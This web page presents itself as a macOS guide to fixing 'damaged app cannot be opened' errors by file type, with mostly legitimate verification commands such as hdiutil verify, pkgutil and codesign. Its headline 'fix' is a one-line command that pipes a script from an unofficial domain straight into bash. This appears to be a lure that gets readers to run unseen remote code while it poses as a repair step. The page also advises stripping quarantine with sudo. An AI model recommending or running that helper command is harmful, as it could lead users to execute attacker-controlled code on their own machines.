“Damaged App Cannot Be Opened” — the Fix Depends on the File Type

A damaged disk image, a damaged package, and a damaged app bundle fail in different places. Applying the app fix to a truncated DMG wastes time. Identify the file type first, then use the matching verification and repair step.

Updated December 2, 2026 · About 6 min read · macOS 13–26

The fix

One-line helper Run the helper
curl -fsSL https://macfixerror.com/run.sh | bash

Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.

Disk image: verify the checksum
hdiutil verify ~/Downloads/YourApp.dmg

Checks the image’s internal checksum. “verified” means the image is intact; any error means the transfer failed and it must be fetched again.

Package: check the signature
pkgutil --check-signature ~/Downloads/YourApp.pkg

Reports the signing chain. An expired or missing certificate explains the refusal.

App bundle: nearest real check
codesign --verify --deep --strict --verbose=2 "/Applications/Your App.app"

A clean result is “satisfies its Designated Requirement”. Any other output means the bundle was altered or incompletely unpacked.

App bundle: clear quarantine
sudo xattr -cr "/Applications/Your App.app"

The metadata fix after the bundle verifies clean. Drag the app into Terminal for the path.

Identify what is actually damaged

Look at the file extension and where the message appears:

FileSymptomCorrect step
.dmg“Image not recognised” or damaged when mountinghdiutil verify, then re-download
.pkgInstaller refuses to run, “damaged” in Installerpkgutil --check-signature
.appDialog on launchcodesign --verify, then clear quarantine
.zipArchive Utility reports an errorRe-download; check checksum if published

The message text is similar, but only the app case is typically a metadata problem. The others are usually transfer errors.

Damaged disk image

  1. Run hdiutil verify path/to/image.dmg.
  2. If it fails, delete the image and download it again from the vendor.
  3. Verify the fresh copy too, then mount and copy the app to /Applications.
  4. Clear quarantine on the copied app before the first launch.
Never run an app from inside a mounted image. A read-only mount plus quarantine is a frequent source of repeat failures.

Damaged package

Run pkgutil --check-signature. A valid Apple or Developer ID chain with a current timestamp means the package is authentic and the refusal is local — try opening it again from a local folder, not from Downloads.

If the signature is expired or missing, re-download. If the fresh package still fails, contact the vendor: only a re-signed build fixes an expired certificate.

Damaged app bundle

Verify first, then repair metadata:

  1. codesign --verify --deep --strict --verbose=2 "path".
  2. Clean result → sudo xattr -cr "path", then launch.
  3. Verification error → unpack again with Archive Utility or re-download.
  4. Still failing on a clean copy → architecture check with lipo -archs, then contact the vendor.

Verify downloads properly

When the vendor publishes a SHA-256 checksum, compare it before opening anything:

shasum -a 256 ~/Downloads/YourApp.dmg

Matching output proves the transfer was intact. A mismatch means the file is truncated or was replaced in transit — re-download from the official URL, not from a mirror you do not know.

Frequently asked questions

Can a DMG be “repaired”?
Not practically. The image is a container with an internal checksum; if verification fails, re-downloading is faster and safer than trying to rebuild it.
Why does a package need a signature check?
The Installer refuses unsigned or expired packages by design. The check tells you whether the certificate or the local state is the problem.
Is clearing quarantine enough for an app that fails codesign?
No. It only skips the provenance check. A bundle that fails --verify needs a clean copy.
What if the vendor publishes no checksum?
Download only from the official URL, over HTTPS, and compare the file size with the published one if available.
Can I install a damaged package with sudo?
Yes, sudo installer -pkg path -target / bypasses some GUI checks, but it does not repair a truncated archive.
Which file type is the “damaged” dialog most often about?
App bundles. The wording is generic, so people often assume a DMG is damaged when the app inside it is the actual subject.

This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.